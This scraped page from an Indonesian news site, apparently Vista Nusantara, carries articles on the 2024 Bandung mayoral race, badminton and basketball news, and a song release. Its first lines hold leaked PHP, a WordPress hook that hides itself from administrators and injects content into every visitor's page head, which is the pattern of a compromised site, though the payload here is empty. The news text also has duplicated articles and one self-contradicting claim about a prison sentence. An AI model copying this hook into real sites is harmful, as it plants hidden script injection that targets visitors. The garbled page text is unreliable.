Blog
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);-
Dandan Riza Wardana di Pilkada 2024, Mampukah Menghapus Citra Kasus Pungli?
BANDUNG, VISTA NUSANTARA — Dandan Riza Wardana, mantan Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kota Bandung, kini mencalonkan diri sebagai Wali Kota dalam Pilkada serentak 2024.Walau telah memasang spanduk di berbagai tempat untuk meningkatkan visibilitasnya, catatan negatif mengenai kasus pungutan liar (pungli) masih membayangi dan dapat memengaruhi dukungan publik. Persaingan dalam pilkada ini menjadi tantangan besar bagi Dandan untuk menunjukkan kredibilitas dan visinya bagi Kota Bandung.Pada Januari 2017, ia ditangkap dalam operasi tangkap tangan (OTT) oleh Polrestabes Bandung karena diduga menerima suap dari pengusaha melalui bawahannya untuk mempermudah perizinan.Setelah proses persidangan, pada 23 Oktober 2017, majelis hakim Pengadilan Negeri Bandung memvonis Dandan dengan hukuman dua tahun penjara dan denda Rp 50 juta atau subsider satu bulan kurungan, lebih ringan dari tuntutan jaksa yang meminta 1,5 tahun penjara.Hakim Tardi menegaskan bahwa Dandan terbukti melanggar Pasal 11 Undang-undang Tindak Pidana Korupsi (Tipikor). Meskipun tidak menikmati hasil suap dan memiliki rekam jejak panjang sebagai PNS, Dandan harus menghadapi konsekuensi hukum yang serius setelah dinyatakan bersalah. Bersama lima stafnya, ia dijatuhi hukuman satu tahun penjara.Setelah menjalani hukuman, Dandan kembali ke dunia bisnis dan kini menjabat sebagai Komisaris Utama di PT Jaswita Bumi Persada sejak 2020 serta di PT Multazam Mulia sejak 2023. Namun, bayang-bayang kasus hukumnya tetap menjadi sorotan publik menjelang Pilkada 2024.Selanjutnya visi misi dari pasangan calon nomor urut satu tersebut sempat di kritisi oleh sejumlah mahasiswa, salah satunya yaitu sasa yang merupakan mahasiswi dari salah satu kampus Swasta di Kota Bandung. Ia mengatakan bahwa visi misi dari paslon tersebut kurang jelas secara teknisnya untuk masyarakat.“Visi misi Dandan dan Arif yaitu visi misi yang mengedepankan kolaborasi antara masyarakat dan pemerintah tetapi hal tersebut tidak terperinci dan kurang jelas juga penyampaiannya kepada masyarakat.”katanya.Sasa juga menyampaikan bahwa ketakutannya terhadap paslon tersebut dikarenakan pernah tersandung kasup korupsi.“Ia pernah mendapatkan kasus korupsi yang seharusnya tidak usah mencalonkan lagi.” tandasnya.*** -
LPDUK dan Perbasi Sepakat Kembangkan Industri Bola Basket 3×3 di Indonesia
VISTA NUSANTARA — Lembaga Pengelola Dana dan Usaha Keolahragaan (LPDUK) Kemenpora dan Pengurus Pusat Persatuan Bola Basket Seluruh Indonesia (PP Perbasi) sepakat untuk mengembangkan industri olahraga bola basket 3×3.Kesepakatan itu dituangkan dalam Nota Kesepahaman yang ditandatangani oleh Direktur LPDUK Ferry Kono dan Pelaksana Tugas (Plt) Ketua Umum PP Perbasi Ardima Rama Putra di Wisma LPDUK, Jakarta, Rabu.Nota Kesepahaman itu menjadi landasan kerja sama kedua belah pihak dalam pengelolaan dana dan pengembangan usaha keolahragaan terkait pengembangan industri olahraga basket 3×3 nasional.LPDUK dan Perbasi sama-sama bertekad memajukan industri olahraga bola basket 3×3 di Indonesia dalam hal infrastruktur, kejuaraan skala nasional dan internasional serta pembinaan.“Khusus kali ini fokus kita kepada 3X3, karena 5×5 kita tahu industrinya sudah berjaya. Dan kami berencana untuk membawa tim 3X3 FIBA, baik Challenger maupun Series, untuk empat tahun berputar di Indonesia,” kata Ferry dalam keterangan tertulis yang diterima di Jakarta, Rabu.“Sehingga kami harapkan nanti Perbasi di bawah Mas Bima ataupun nanti Ketua Umum PP Perbasi definitif dapat berkontribusi untuk mengaktifkan kembali FIBA 3X3 nya.”Ferry Kono mengatakan PP Perbasi dan LPDUK akan menyiapkan berbagai agenda terkait olahraga basket 3×3 dan akan dibuat perjanjian kerja sama mengatur hal yang lebih teknis untuk setiap kegiatan yang dilakukan.Pada kerja sama tersebut LPDUK akan menggulirkan Inaspro (Indonesia Sport Promotor) sebagai brand baru dari LPDUK sebagai Badan Layanan Umum (BLU) di bawah Kemenpora yang belum lama ini diluncurkan oleh Menpora Dito Ariotedjo.“Kami berharap dan kami percaya bahwa keberhasilan basket di Indonesia, baik itu 5×5, 3×3, walaupun yang youth, itu juga merupakan fokus utama agar mereka mengembangkan industri olahraga di tanah air sesuai dengan visi dari Mas Menteri dan Wamenpora,” ujar Ferry.Plt Ketua Umum PP Perbasi Ardima Rama Putra menyampaikan apresiasi dan terima kasih kepada LPDUK Kemenpora sebagai perpanjangan tangan pemerintah yang bersedia berkolaborasi dalam upaya memajukan olahraga basket 3×3.“Yang pasti kami dari Perbasi sangat berterima kasih pada pemerintah yang dalam hal ini diwakili oleh LPDUK karena berani berkomitmen untuk menghadirkan event-event bola basket khususnya untuk bola basket 3×3. Di mana kita semua tahu potensi industri bola basket 3×3 yang saat ini sangat besar,” ujar Dima.Dima mengatakan selain industrinya, bola basket 3×3 ini juga merupakan nomor prestasi yang sudah dipertandingkan di Olimpiade. Sehingga PP Perbasi berharap dengan bergulirnya kejuaraan-kejuaraan internasional 3×3, pastinya akan mendongkrak prestasi dari timnas di masa yang akan datang.Plt Ketua Umum PP Perbasi itu juga berharap nantinya kegiatan-kegiatan bola basket 3X3 dapat menyebar ke seluruh Indonesia, sehingga dapat memberikan stimulan pembinaan di berbagai daerah.“Karena kita punya banyak target untuk prestasi, juga jangan lupa kita harus membangkitkan industri olahraga di nasional. Oleh karena itu kami berharap dari MoU ini nanti lahir banyak kegiatan ke depan untuk tahun-tahun kedepannya dan menghasilkan banyak manfaat buat olahraga bola basket,” ujar Dima.*** -
Muhammad Reza Al Fajri Melaju ke Babak 32 Besar Indonesia International Challenge 2024
VISTA NUSANTARA — Tunggal putra Indonesia Muhammad Reza Al Fajri melangkah ke babak 32 besar turnamen Indonesia International Challenge 2024 di Surabaya, Rabu.Fajri memenangkan laga 64 besar atas wakil Jepang Yudai Okimoto melalui pertarungan rubber game 21-18, 17-21, 21-16.Dikutip dari keterangan resmi PP PBSI, pemain asal Makassar itu mengaku sempat kehilangan fokus saat sudah unggul di gim pertama. Perlahan permainan Fajri mulai membaik di gim penentuan untuk akhirnya meraih kemenangan lewat pertarungan yang berlangsung dalam tempo 1 jam 10 menit.“Saya membutuhkan sedikit adaptasi di arena pertandingan setelah pindah sisi lapangan. Karakteristiknya sangat berbeda dari tahun lalu sehingga saya sempat kesulitan mengolah serangan yang ingin saya lancarkan. Dengan bermain lebih sabar, saya perlahan bisa menguasai dan akhirnya mampu meraih kemenangan,” ungkap Fajri.Dengan hasil ini, maka Fajri akan menghadapi pemenang laga antara Aditya Bapineedu Goparaju (India) melawan Ong Zhen Yi (Malaysia) di 32 besar.Menghadapi babak kedua nanti, tunggal putra ranking 239 dunia itu ingin memberikan yang terbaik melalui persiapan yang maksimal.“Saya punya target di turnamen ini. Saya mempersiapkan diri dengan matang dan semoga hasilnya bisa memuaskan,” kata Fajri.Di sisi lain, tunggal putri Deswanti Hujansih Nurtertiati terhenti di babak pertama usai kalah dari wakil Malaysia Ling Ching Wong dengan skor 21-15, 10-21, 18-21.“Saya masih punya banyak kekurangan. Pastinya saya mencoba bermain lebih konsisten lagi di setiap turnamen dengan berlatih lebih keras lagi,” ujar Deswanti.*** -
Nasihat Agama untuk Arfi Rafnialdi, Seimbangkan Munajat dan Ikhtiar Politik
BANDUNG, VISTA NUSANTARA — Calon Wali Kota Bandung, Arfi Rafnialdi, menerima nasihat penting dari ulama dan Ketua MUI Kota Bandung, KH Miftah Farid, di tengah upayanya menghadapi Pilkada Serentak 2024. Dalam pertemuan tersebut, KH Miftah Farid menekankan pentingnya kesungguhan dalam bermunajat kepada Allah Swt, yang harus seimbang dengan ikhtiar berupa kampanye.“KH Miftah Farid menyampaikan pesan dari Al-Qur’an, yaitu Surat Ali Imran Ayat 26, yang mengingatkan bahwa Allah Swt adalah Pemilik segala kekuasaan. Siapa yang dikehendaki-Nya akan diberikan kekuasaan, dan siapa yang dikehendaki akan dicabut kekuasaannya. Ini adalah pengingat bahwa segala sesuatu di dunia ini berada dalam kuasa Allah,” ungkap Kang Arfi setelah bersilaturahmi.Kang Arfi juga menerima nasihat penting dari KH Miftah Farid agar senantiasa bersungguh-sungguh dalam bermunajat kepada Allah Swt. KH Miftah Farid menekankan pentingnya menjaga keseimbangan antara usaha kampanye sebagai ikhtiar duniawi dan doa yang tulus kepada Sang Pencipta. Menurutnya, keberhasilan dalam urusan dunia harus selalu diiringi dengan keyakinan spiritual yang kuat, karena segala usaha perlu dilandasi dengan permohonan pertolongan dari Allah Swt untuk mencapai hasil yang berkah dan baik bagi masyarakat.“Beliau mengingatkan bahwa ikhtiar dunia seperti kampanye penting, tetapi harus selalu disertai dengan munajat yang sungguh-sungguh kepada Allah Swt,” tambah Kang Arfi, yang merupakan calon dengan nomor urut 4 dalam Pilkada Kota Bandung.Dalam diskusi tersebut, salah satu topik yang dibahas adalah upaya untuk mengatasi praktik bank emok, yang dinilai merugikan masyarakat. Dari sudut pandang agama, praktik ini dianggap sebagai bentuk riba, yang secara tegas dilarang dalam Islam. Para tokoh agama menekankan pentingnya mencari solusi yang lebih adil dan sesuai dengan prinsip-prinsip syariah untuk melindungi masyarakat dari dampak ekonomi yang merugikan akibat praktik riba. Mereka mendorong penerapan sistem keuangan yang lebih beretika dan berkeadilan, sehingga masyarakat tidak terjebak dalam beban ekonomi yang tidak sehat.“Praktik bank emok yang mengandung riba tidak hanya melanggar ajaran agama, tetapi juga menggerus kesejahteraan masyarakat. KH Miftah Farid menekankan pentingnya upaya kami untuk membantu warga keluar dari jeratan riba dan rentenir ini. Kami berkomitmen untuk mewujudkan hal itu jika mendapat amanah dari masyarakat,” ujar Kang Arfi.Sebelum berkunjung ke kediaman KH Miftah Farid, Kang Arfi juga menyempatkan diri bersilaturahmi dengan para pimpinan Yayasan Daarut Tauhiid. Pada hari yang sama, ia melanjutkan kunjungannya dengan bertemu Ketua DKM Masjid Raya Bandung dan Sekretaris PCNU Kota Bandung. Langkah ini diambil sebagai upaya memperkuat hubungan silaturahmi dengan para tokoh agama di Kota Bandung, guna membangun sinergi dalam menghadapi berbagai tantangan sosial dan spiritual yang dihadapi masyarakat. Dengan mempererat kerja sama ini, diharapkan terwujud solusi yang lebih komprehensif untuk kebaikan bersama.“Agenda hari ini penuh dengan silaturahmi bersama para tokoh dan ulama untuk memohon doa dan nasihat,” tutup Kang Arfi.*** -
KH Miftah Farid kepada Arfi: Munajat Kuat, Kampanye Juga Harus Kuat
BANDUNG, VISTA NUSANTARA — Calon Wali Kota Bandung, Arfi Rafnialdi, menerima nasihat penting dari ulama dan Ketua MUI Kota Bandung, KH Miftah Farid, di tengah upayanya menghadapi Pilkada Serentak 2024. Dalam pertemuan tersebut, KH Miftah Farid menekankan pentingnya kesungguhan dalam bermunajat kepada Allah Swt, yang harus seimbang dengan ikhtiar berupa kampanye.“KH Miftah Farid menyampaikan pesan dari Al-Qur’an, yaitu Surat Ali Imran Ayat 26, yang mengingatkan bahwa Allah Swt adalah Pemilik segala kekuasaan. Siapa yang dikehendaki-Nya akan diberikan kekuasaan, dan siapa yang dikehendaki akan dicabut kekuasaannya. Ini adalah pengingat bahwa segala sesuatu di dunia ini berada dalam kuasa Allah,” ungkap Kang Arfi setelah bersilaturahmi.Kang Arfi juga menerima nasihat penting dari KH Miftah Farid agar senantiasa bersungguh-sungguh dalam bermunajat kepada Allah Swt. KH Miftah Farid menekankan pentingnya menjaga keseimbangan antara usaha kampanye sebagai ikhtiar duniawi dan doa yang tulus kepada Sang Pencipta. Menurutnya, keberhasilan dalam urusan dunia harus selalu diiringi dengan keyakinan spiritual yang kuat, karena segala usaha perlu dilandasi dengan permohonan pertolongan dari Allah Swt untuk mencapai hasil yang berkah dan baik bagi masyarakat.“Beliau mengingatkan bahwa ikhtiar dunia seperti kampanye penting, tetapi harus selalu disertai dengan munajat yang sungguh-sungguh kepada Allah Swt,” tambah Kang Arfi, yang merupakan calon dengan nomor urut 4 dalam Pilkada Kota Bandung.Dalam diskusi tersebut, salah satu topik yang dibahas adalah upaya untuk mengatasi praktik bank emok, yang dinilai merugikan masyarakat. Dari sudut pandang agama, praktik ini dianggap sebagai bentuk riba, yang secara tegas dilarang dalam Islam. Para tokoh agama menekankan pentingnya mencari solusi yang lebih adil dan sesuai dengan prinsip-prinsip syariah untuk melindungi masyarakat dari dampak ekonomi yang merugikan akibat praktik riba. Mereka mendorong penerapan sistem keuangan yang lebih beretika dan berkeadilan, sehingga masyarakat tidak terjebak dalam beban ekonomi yang tidak sehat.“Praktik bank emok yang mengandung riba tidak hanya melanggar ajaran agama, tetapi juga menggerus kesejahteraan masyarakat. KH Miftah Farid menekankan pentingnya upaya kami untuk membantu warga keluar dari jeratan riba dan rentenir ini. Kami berkomitmen untuk mewujudkan hal itu jika mendapat amanah dari masyarakat,” ujar Kang Arfi.Sebelum berkunjung ke kediaman KH Miftah Farid, Kang Arfi juga menyempatkan diri bersilaturahmi dengan para pimpinan Yayasan Daarut Tauhiid. Pada hari yang sama, ia melanjutkan kunjungannya dengan bertemu Ketua DKM Masjid Raya Bandung dan Sekretaris PCNU Kota Bandung. Langkah ini diambil sebagai upaya memperkuat hubungan silaturahmi dengan para tokoh agama di Kota Bandung, guna membangun sinergi dalam menghadapi berbagai tantangan sosial dan spiritual yang dihadapi masyarakat. Dengan mempererat kerja sama ini, diharapkan terwujud solusi yang lebih komprehensif untuk kebaikan bersama.“Agenda hari ini penuh dengan silaturahmi bersama para tokoh dan ulama untuk memohon doa dan nasihat,” tutup Kang Arfi.*** -
Kandidat Wali Kota Bandung, Siapa yang Punya Visi Jelas?
BANDUNG, VISTA NUSANTARA — Kota Bandung merupakan kota yang seksi untuk di perbincangkan, dimana didalamnya terdapat berbagai macam masalah baik dari segi kondisi politik, sosial, ekonomi, fasilitas umum bahkan sampai kasus korupsi yang menimpa para pejabat sudah sangat sering terjadi.
Kota Bandung saat ini bersiap menghadapi kontestasi politik yang menjadi kesempatan penting bagi masyarakat untuk memilih pemimpin yang tepat dan bertanggung jawab dalam memimpin kota selama lima tahun ke depan. Pemilihan ini merupakan momen krusial bagi warga untuk menentukan arah pembangunan dan kebijakan yang akan mempengaruhi kehidupan sehari-hari mereka. Berbagai tantangan, seperti perbaikan infrastruktur, peningkatan kualitas lingkungan, dan kesejahteraan sosial, menuntut solusi konkret dari pemimpin terpilih. Masyarakat berharap calon pemimpin dapat merumuskan strategi dan kebijakan yang mampu membawa perubahan positif serta meningkatkan kualitas hidup di Kota Bandung.
Persaingan politik di Kota Bandung semakin memanas seiring dengan intensifikasi aktivitas para kandidat yang berlomba-lomba meraih dukungan masyarakat. Empat pasangan calon telah resmi menyatakan niat mereka untuk maju dalam Pemilihan Wali Kota Bandung. Masing-masing pasangan aktif mendekati warga, menawarkan berbagai janji manis yang terbungkus dalam visi dan misi mereka. Setiap calon berupaya menarik perhatian publik dengan program-program unggulan, berjanji untuk membawa perubahan dan kemajuan bagi Kota Bandung selama lima tahun ke depan. Di tengah situasi ini, masyarakat diharapkan dapat memilih pemimpin yang benar-benar mampu memenuhi kebutuhan dan harapan mereka, serta berkomitmen untuk mengatasi berbagai tantangan yang ada di kota.
Keempat pasangan calon yang akan bersaing dalam Pemilihan Wali Kota Bandung adalah Haru Suandharu-Ridwan Dhani Wirianata, yang diusung oleh PKS dan Gerindra; Muhammad Farhan-Erwin, didukung oleh Nasdem dan PKB; Arfi Rafnialdi-Yena Iskandar Ma’soem, yang didukung oleh Golkar dan PSI; serta Dandan Riza Wardana-Arif Wijaya, yang diusung oleh PDI Perjuangan dan Demokrat. Masing-masing pasangan ini menawarkan visi, misi, dan program kerja yang beragam dan spesifik untuk menarik perhatian serta dukungan masyarakat Kota Bandung. Dalam persaingan yang semakin ketat ini, mereka berupaya menunjukkan diri sebagai pilihan terbaik untuk memimpin kota selama lima tahun ke depan, berkomitmen untuk menghadapi tantangan dan memenuhi harapan warga.
Pasangan calon wali kota dan wakil wali kota nomor urut tiga, Muhammad Farhan dan Erwin, telah menghadapi kritik dari sejumlah mahasiswa terkait visi dan misi mereka. Kritik ini menyatakan bahwa visi dan misi pasangan ini dinilai normatif dan kurang mempertimbangkan realitas yang ada di lapangan. Mahasiswa berpendapat bahwa beberapa poin dalam visi misi Farhan dan Erwin terlalu umum dan tidak menunjukkan rencana konkret untuk mengatasi masalah-masalah spesifik yang dihadapi masyarakat Kota Bandung. Mereka berharap agar pasangan ini dapat merumuskan program yang lebih realistis dan solutif, sehingga mampu mengatasi berbagai tantangan di kota dan memberikan dampak positif bagi kesejahteraan masyarakat.
“Untuk pasangan farhan dan erwin visi misi mereka cenderung normatif jadinya mereka itu tidak memikirkan dan memperhatikan secara mendalam mengenai hal teknis di lapangan, jadi yaa cuma gitu -gitu saja.” ucap Sasa yang merupakan mahasiswi Ilmu Komunikasi di salah satu kampus Swasta di Kota Bandung.
Sasa, seorang mahasiswa, mengungkapkan pandangannya bahwa seorang pemimpin seharusnya mempersiapkan visi dan misi dengan matang dan mendalam. Ia menekankan bahwa visi dan misi yang disusun dengan baik mencerminkan komitmen serta keseriusan calon pemimpin dalam memahami permasalahan yang dihadapi masyarakat dan memberikan solusi yang konkret. Menurut Sasa, visi dan misi yang dangkal hanya akan menimbulkan keraguan di kalangan masyarakat tentang kemampuan calon tersebut dalam memimpin dan menghadirkan perubahan yang nyata. Ia berharap agar para calon pemimpin dapat merumuskan program-program yang tidak hanya sekadar jargon, tetapi juga dapat diimplementasikan untuk kebaikan bersama.
“Seharusnya ketika membuat visi misi harus secara matang dan mendalam.” pungkasnya.***
-
Menilai Kinerja Pejabat, Apa yang Harus Diperhatikan Warga Bandung?
BANDUNG, VISTA NUSANTARA — Kota Bandung merupakan kota yang seksi untuk di perbincangkan, dimana didalamnya terdapat berbagai macam masalah baik dari segi kondisi politik, sosial, ekonomi, fasilitas umum bahkan sampai kasus korupsi yang menimpa para pejabat sudah sangat sering terjadi.Kota Bandung saat ini bersiap menghadapi kontestasi politik yang menjadi kesempatan penting bagi masyarakat untuk memilih pemimpin yang tepat dan bertanggung jawab dalam memimpin kota selama lima tahun ke depan. Pemilihan ini merupakan momen krusial bagi warga untuk menentukan arah pembangunan dan kebijakan yang akan mempengaruhi kehidupan sehari-hari mereka. Berbagai tantangan seperti perbaikan infrastruktur, peningkatan kualitas lingkungan, serta kesejahteraan sosial menuntut solusi konkret dari pemimpin terpilih. Masyarakat berharap calon pemimpin mampu merumuskan strategi dan kebijakan yang dapat membawa perubahan positif serta meningkatkan kualitas hidup di Kota Bandung.Persaingan politik di Kota Bandung semakin memanas seiring dengan intensifikasi aktivitas para kandidat yang berlomba-lomba meraih dukungan masyarakat. Empat pasangan calon telah resmi menyatakan niat mereka untuk maju dalam Pemilihan Wali Kota Bandung. Masing-masing pasangan aktif mendekati warga, menawarkan berbagai janji manis yang terbungkus dalam visi-misi mereka. Setiap calon berupaya menarik perhatian publik dengan program-program unggulan, berjanji untuk membawa perubahan dan kemajuan bagi Kota Bandung selama lima tahun ke depan. Di tengah situasi ini, masyarakat diharapkan dapat memilih pemimpin yang benar-benar mampu memenuhi kebutuhan dan harapan mereka, serta berkomitmen untuk mengatasi berbagai tantangan yang ada di kota.Keempat pasangan calon yang akan bersaing dalam Pemilihan Wali Kota Bandung adalah Haru Suandharu-Ridwan Dhani Wirianata, yang diusung oleh PKS dan Gerindra; Muhammad Farhan-Erwin, didukung oleh Nasdem dan PKB; Arfi Rafnialdi-Yena Iskandar Ma’soem, yang didukung oleh Golkar dan PSI; serta Dandan Riza Wardana-Arif Wijaya, yang diusung oleh PDI Perjuangan dan Demokrat. Masing-masing pasangan ini menawarkan visi, misi, dan program kerja yang beragam dan spesifik untuk menarik perhatian serta dukungan masyarakat Kota Bandung. Dalam persaingan yang semakin ketat ini, mereka berupaya menunjukkan diri sebagai pilihan terbaik untuk memimpin kota selama lima tahun ke depan, berkomitmen untuk menghadapi tantangan dan memenuhi harapan warga.Pasangan calon wali kota dan wakil wali kota nomor urut tiga, Muhammad Farhan dan Erwin, telah menghadapi kritik dari sejumlah mahasiswa terkait visi dan misi mereka. Kritik ini menyatakan bahwa visi dan misi pasangan ini dinilai normatif dan kurang mempertimbangkan realitas yang ada di lapangan. Mahasiswa berpendapat bahwa beberapa poin dalam visi misi Farhan dan Erwin terlalu umum dan tidak menunjukkan rencana konkret untuk mengatasi masalah-masalah spesifik yang dihadapi masyarakat Kota Bandung. Mereka berharap agar pasangan ini dapat merumuskan program yang lebih realistis dan solutif, sehingga mampu mengatasi berbagai tantangan di kota dan memberikan dampak positif bagi kesejahteraan masyarakat.“Untuk pasangan farhan dan erwin visi misi mereka cenderung normatif jadinya mereka itu tidak memikirkan dan memperhatikan secara mendalam mengenai hal teknis di lapangan, jadi yaa cuma gitu -gitu saja.” ucap Sasa yang merupakan mahasiswi Ilmu Komunikasi di salah satu kampus Swasta di Kota Bandung.Sasa, seorang mahasiswa, mengungkapkan pandangannya bahwa seorang pemimpin seharusnya mempersiapkan visi dan misi dengan matang dan mendalam. Ia menekankan bahwa visi dan misi yang disusun dengan baik mencerminkan komitmen serta keseriusan calon pemimpin dalam memahami permasalahan yang dihadapi masyarakat dan memberikan solusi yang konkret. Menurut Sasa, visi dan misi yang dangkal hanya akan menimbulkan keraguan di kalangan masyarakat tentang kemampuan calon tersebut dalam memimpin dan menghadirkan perubahan yang nyata. Ia berharap agar para calon pemimpin dapat merumuskan program-program yang tidak hanya sekadar jargon, tetapi juga dapat diimplementasikan untuk kebaikan bersama.“Seharusnya ketika membuat visi misi harus secara matang dan mendalam.” pungkasnya.*** -
Taufik Hidayat Siap Tingkatkan Prestasi Atlet Indonesia sebagai Wamenpora
VISTA NUSANTARA — Wakil Menteri Pemuda dan Olahraga Taufik Hidayat mengatakan dirinya ingin membuktikan dapat mengelola atlet-atlet Indonesia agar berprestasi di level dunia dengan jabatan baru yang diamanatkan kepadanya.“Jadi saya juga ingin membuktikan tidak hanya di lapangan bulu tangkis bisa juara. Tapi, bagaimana tata cara mengelola atlet, membesarkannya agar menjadi prestasi dunia yang lebih baik lagi,” kata Taufik Hidayat dalam acara ramah tamah di Wisma Kemenpora sebagaimana dikutip dari laman resmi Kemenpora di Jakarta, Selasa.
Taufik sebagai peraih medali emas dari cabang bulu tangkis untuk Indonesia pada Olimpiade Athena 2004 tersebut mengaku merasa bangga dapat kembali ke Kemenpora menjadi wakil menteri setelah sebelumnya bergabung dengan Satuan Pelaksana Program Indonesia Emas (Satlak Prima) dan pernah menjadi Staf Khusus Menteri Pemuda dan Olahraga saat dipimpin Imam Nahrawi.
“Semoga dengan kehadiran saya bisa membantu Pak Menteri meningkatkan prestasi olahraga lebih tinggi lagi,” ujarnya.
Ia mengatakan, Presiden Prabowo telah mengingatkannya agar mampu membantu Menpora Dito Ariotedjo menuju cita-cita peningkatan prestasi olahraga pada Olimpiade 2028 dan ajang multivent lainnya.
“Target besarnya adalah di Olimpiade 2028, tetapi sebelum ke Olimpiade 2028 akan banyak multievent yang harus diikuti SEA Games, Asian Games dan sebagainya juga menjadi perhatian secara prioritas,” ujarnya.
Taufik memastikan akan terus berkoordinasi dan bersinergi dengan menterinya terkait tugas-tugas yang ada di Kemenpora khususnya terkait bidang olahraga dan kepemudaan.
Intinya, kata dia, seperti apa arahan menteri akan dijalankan sesuai amanah dari presiden yang tujuan akhirnya adalah peningkatan prestasi olahraga.
“Saya dan pak menteri insya Allah akan membuktikan itu, beri kesempatan kami untuk bekerja lebih baik. Yang pasti saya pernah merasakan sebagai atlet jadi saya tahu dan harus membuktikan kalau saya tidak hanya juara di lapangan bulu tangkis saja,” ujarnya.***
-
Dhinda Amartya Hadapi Wakil Taiwan di Babak 32 Besar Surabaya
VISTA NUSANTARA — Tunggal putri Indonesia Ni Kadek Dhinda Amartya Pratiwi menembus babak utama turnamen Indonesia International Challenge 2024 di Surabaya, Selasa.Berlaga di GOR Jatim Expo, Surabaya, pemain kelahiran 13 Juni 2006 itu menembus babak utama seusai mengalahkan wakil Malaysia Yi Xing Ung dengan skor 21-11, 21-17.Dikutip dari keterangan resmi PP PBSI, Dhinda mengaku sudah mulai menemukan bentuk kepercayaan diri dan dapat mengatur pola permainannya untuk lebih tenang lagi terutama saat tertinggal saat berlaga hari ini.“Dhinda menghadapi lawan tangguh di babak kualifikasi. Beberapa kali lawan bisa mengatur tempo permainan saya. Saat mendapat tekanan, saya banyak melakukan kesalahan sendiri sebelum akhirnya bisa keluar dari tekanan dan meraih kemenangan di laga ini,” ungkap Dhinda.Juara Seleknas 2024 itu mengaku saat ini sudah bisa melupakan kekalahan menyakitkan di Kejuaraan Dunia Junior 2024 saat tersingkir di 32 besar seusai kalah dari wakil China Xu Wen Jing 10-21, 14-21.“Setelah tampil di BWF World Junior Championships 2024, Dhinda banyak melakukan evaluasi untuk bermain lebih tenang lagi. Saya mencoba untuk tidak terburu-buru dalam melakukan serangan,” ungkap Dhinda.“Tentu pengalaman tampil di BWF World Junior Championships 2024 tidak bisa terlupakan buat Dhinda mengingat lawan yang saya hadapi di sana menjadi juara,” ujarnya menambahkan.Dengan hasil ini, Dhinda akan berhadapan dengan wakil Taiwan Hung Yi-Ting di babak utama Indonesia International Challenge. Ia mengaku siap bersaing dengan pemain yang memiliki pengalaman lebih banyak.“Dhinda tidak mau melewatkan kesempatan dan ingin memberikan permainan terbaik. Tentu Dhinda banyak belajar dari pengalaman tampil di turnamen sebelumnya untuk bisa lebih baik saat berlaga di ajang ini,” kata Dhinda.Selain Dhinda, sektor tunggal putri Indonesia pada Indonesia International Challenge 2024 di Surabaya menurunkan Ruzana, Chiara Marvella Handoyo, Mutiara Ayu Puspitasari, Deswanti Hujansih Nuertertiati, Kyla Legiana Agatha, Yulia Yosephine Susanto, Bilqis Prasista, dan Aisyah Sativa Fatetani.Babak 32 besar Indonesia International Challenge 2024 di Surabaya bakal digelar mulai Rabu (23/10).*** -
Debut Solo Ikhin Bassuki, ‘Jangan’ Ungkapan Cinta Seorang Ayah
VISTA NUSANTARA — Ikhin Bassuki adalah pencipta lagu asal Kota Depok, Jawa Barat, yang telah melahirkan berbagai karya untuk talenta musik lainnya. Kini, ia mempersembahkan karya pertamanya yang berjudul “Jangan” sebagai penyanyi solo dengan harapan bisa menyentuh hati dan menginspirasi banyak orang.Single pertamanya yang berjudul “Jangan” ini bukan hanya sebuah karya, tetapi juga merupakan ungkapan cinta dan harapan seorang ayah kepada buah hatinya.“Jangan” terinspirasi oleh perjalanan hidup Ikhin sebagai orang tua. Ia ingin anak-anaknya kelak mengetahui betapa besar pengorbanan dan cinta yang diberikan oleh kedua orang tua mereka.Dengan lirik yang menyentuh hati, Ikhin berharap lagu ini dapat menjadi pengingat bagi generasi mendatang untuk selalu menghargai dan berbakti kepada orang tua.“Melalui lagu ini, saya ingin menyampaikan pesan bahwa cinta seorang ayah tidak terbatas, dan setiap pengorbanan yang dilakukan demi anak-anak adalah bentuk kasih sayang yang tulus,” ungkap Ikhin Bassuki.“Saya berharap ‘Jangan’ bisa diterima oleh para pecinta musik Indonesia dan menjadi inspirasi bagi semua.”.***
.jpeg)



.jpeg)
.jpeg)
.jpeg)


